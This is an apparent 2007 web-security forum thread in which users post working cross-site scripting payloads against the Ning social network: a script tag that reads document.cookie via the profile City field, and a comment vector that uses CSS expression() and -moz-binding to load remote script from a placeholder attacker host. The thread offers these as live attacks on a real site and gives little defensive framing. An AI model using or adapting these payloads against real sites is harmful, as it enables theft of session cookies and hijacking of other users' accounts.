PoC -> http://opensocialdemo.ning.com/profile/Suhail

Image:


My Profile -> Account -> City

It's vulnerable in the City field with the vector "><script>alert(document.cookie);</script>

Ning is supposed to be closing it in the next round of patches I believe.



Edited 4 time(s). Last edit at 11/09/2007 01:31AM by Delixe.

nice find

http://hackathology.blogspot.com

That entire site is absolutely riddled with XSS holes. Any place that allows styled user input (blogs, comments, etc.) allows expression() and -moz-binding.
This vector is what I came up with for comments (Mozilla and IE)...

<a style="x:expression(document.body.firstChild.nextSibling.setAttribute('src','http://yoursite.com/XSS.js'));-moz-binding:url('http://yoursite.com/XSS.xml#xss')"></a>

-Dan



Edited 1 time(s). Last edit at 12/09/2007 02:34PM by DoctorDan.

a fun exercise in why partial censoring can be dangerous..

spacing comparison can likely uncover more, but i haven't the patience for that ^^

New Image:


-maluc